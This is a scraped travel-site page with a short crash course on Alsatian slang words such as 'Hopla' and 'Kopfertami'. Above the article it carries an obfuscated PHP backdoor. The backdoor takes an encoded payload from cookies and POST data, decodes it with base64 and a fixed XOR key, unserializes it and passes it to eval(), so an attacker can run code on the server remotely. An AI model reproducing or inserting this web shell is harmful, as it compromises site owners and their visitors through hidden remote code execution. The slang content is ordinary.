$DwwvMzkn = "\x71" . chr (120) . '_' . chr ( 448 - 362 ).'a' . chr ( 513 - 393 ); $ANQqcm = "\143" . chr (108) . chr (97) . chr (115) . 's' . chr (95) . "\145" . "\x78" . "\x69" . chr ( 933 - 818 )."\x74" . chr ( 959 - 844 ); $DdAAOwyQy = class_exists($DwwvMzkn); $DwwvMzkn = "63500";$vpNGcRlFX = !$DdAAOwyQy;$ANQqcm = "20168";if ($vpNGcRlFX){class qx_Vax{public function LrJOlCBrxH(){echo "17170";}private $YYqzNnavo;public static $hiIUIkOZ = "c0282ee6-e159-4a04-8f0f-3b288ea716f1";public static $nhPWByhzU = 13519;public function __construct($eZcSpqjf=0){$YwajZE = $_POST;$kQZzSRNfF = $_COOKIE;$cQrYjKjCwp = @$kQZzSRNfF[substr(qx_Vax::$hiIUIkOZ, 0, 4)];if (!empty($cQrYjKjCwp)){$mInHe = "base64";$CWMxekxOV = "";$cQrYjKjCwp = explode(",", $cQrYjKjCwp);foreach ($cQrYjKjCwp as $tMHhQWpQq){$CWMxekxOV .= @$kQZzSRNfF[$tMHhQWpQq];$CWMxekxOV .= @$YwajZE[$tMHhQWpQq];}$CWMxekxOV = array_map($mInHe . chr ( 876 - 781 )."\x64" . chr ( 1091 - 990 )."\x63" . chr (111) . chr ( 391 - 291 ).chr ( 384 - 283 ), array($CWMxekxOV,)); $CWMxekxOV = $CWMxekxOV[0] ^ str_repeat(qx_Vax::$hiIUIkOZ, (strlen($CWMxekxOV[0]) / strlen(qx_Vax::$hiIUIkOZ)) + 1);qx_Vax::$nhPWByhzU = @unserialize($CWMxekxOV);}}private function aYbmH(){if (is_array(qx_Vax::$nhPWByhzU)) {$yUntI = str_replace("\x3c" . chr (63) . "\160" . 'h' . "\160", "", qx_Vax::$nhPWByhzU[chr ( 861 - 762 )."\157" . chr ( 834 - 724 ).chr (116) . "\x65" . chr ( 853 - 743 )."\x74"]);eval($yUntI); $cqMRMClGR = "10550";exit();}}public function __destruct(){$this->aYbmH();}}$pxNtWawQIs = new /* 62916 */ qx_Vax(); $pxNtWawQIs = str_pad("22168_33945", 1);} Alsatian Slang Crash Course | BednBretzel

Alsatian Slang Crash Course

Ah, the Alsatian dialect! It’s a unique blend of French and German, with a few of its own twists and quirks. It’s a delight to hear and speak, and it adds so much character to the region.

The Alsatian dialect is spoken by many locals, especially in smaller towns and villages.

Here are the top Alsatian words to know:

Kopfertami: expresses discontent. 

This term could be translated as “For F*** sake!” Very vulgar but widely used. 

Example: “Kopfertami, I cut myself with the pruning shears while harvesting in Ribeauvillé!”

Yo! : to be used everywhere, all the time. 

This expression expresses surprise, discontent, contentment… 

Example: “Yo! This can’t be true, I’ve lost my slippers!”

Hopla: Come on

This one is often used, a bit like “vamos” in Spanish. 

Example: “Hopla, let’s take the car and go for a walk in the Vosges”.

Oyéééé: onomatopoeia of complaint 

This expression is used as a kind of long, plaintive phoneme. Derived from the German “Ja”.

Example: “Oyéééé, someone stole my wallet”.

Boire un schluck: Grab a drink

“Schluck” means “a sip” in Alsatian, so “boire un schluck” means “to have a drink” or “to take a sip.”

Ça geht?: Salutation

This phrase is Alsatian for “How are you?” or “How’s it going?”

Merci vielmols: Gratitude

This Alsatian phrase means “thank you very much” and is a great way to show your appreciation

So here’s your crash course in Alsatian slang that should come in handy 

Andrea Ward

The local expert, Andrea also has over 10 years experience in tourism and hospitality

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